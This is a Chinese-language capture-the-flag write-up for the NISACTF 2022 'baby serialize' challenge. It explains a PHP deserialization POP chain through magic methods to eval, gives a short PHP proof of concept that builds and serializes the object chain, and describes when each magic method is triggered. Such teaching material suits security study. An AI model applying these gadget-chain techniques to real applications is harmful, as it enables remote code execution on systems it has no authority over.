从零开始学习反序列化:[NISACTF 2022] baby serialize 详解

admin 2024年12月6日15:56:22评论6 views字数 808阅读2分41秒阅读模式
这道题在NSSCTF平台上有原题
打开题目,先找eval、flag这样的危险函数和关键字样,这里我们找到了eval,变量名是txw4ever。分析过程如下:
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
因此我们的pop链为

class NISA -> __invoke()

class Ilovetxw ->__toString()

class four -> __set()

class Ilovetxw ->__call()

class TianXiWei ->__wakeup()

编写poc的时候要反着写

$a=new TianXiWei();

$a->ext=new Ilovetxw();

$a->ext->huang=new four();

$a->ext->huang->a=new Ilovetxw();

$a->ext->huang->a->su=new NISA();

echo urlencode(serialize($a));

从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
获得flag
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
各危险函数的触发条件
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
下面我们测试下__invoke()的触发条件,创建一个对象,把对象当成函数,就调用了__invoke()
__invoke()触发 把对象当成函数调用时触发
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解

把类User实体化并赋值给tset,此时test是个对象,调用对象可以用print_r或者var_dump

如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当做字符串,此时就会触发toString()
__toString()触发 把对象当成字符串调用时触发
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解

__set()触发 给不存在的成员属性赋值时会触发

从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
__call()触发 调用不存在的方法时会触发
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解
__wakeup()触发 该函数会在反序列化unserialize之前被调用
从零开始学习反序列化:[NISACTF 2022] baby serialize 详解

如果大家也是从零开始学习反序列化,如果也有人觉得“反序列化我就是学不会”,希望大家静下心来,世上无难事只怕有心人,就从现在开始学就完事。

原文始发于微信公众号(小话安全):从零开始学习反序列化:[NISACTF 2022] baby serialize 详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月6日15:56:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从零开始学习反序列化:[NISACTF 2022] baby serialize 详解http://cn-sec.com/archives/3473041.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息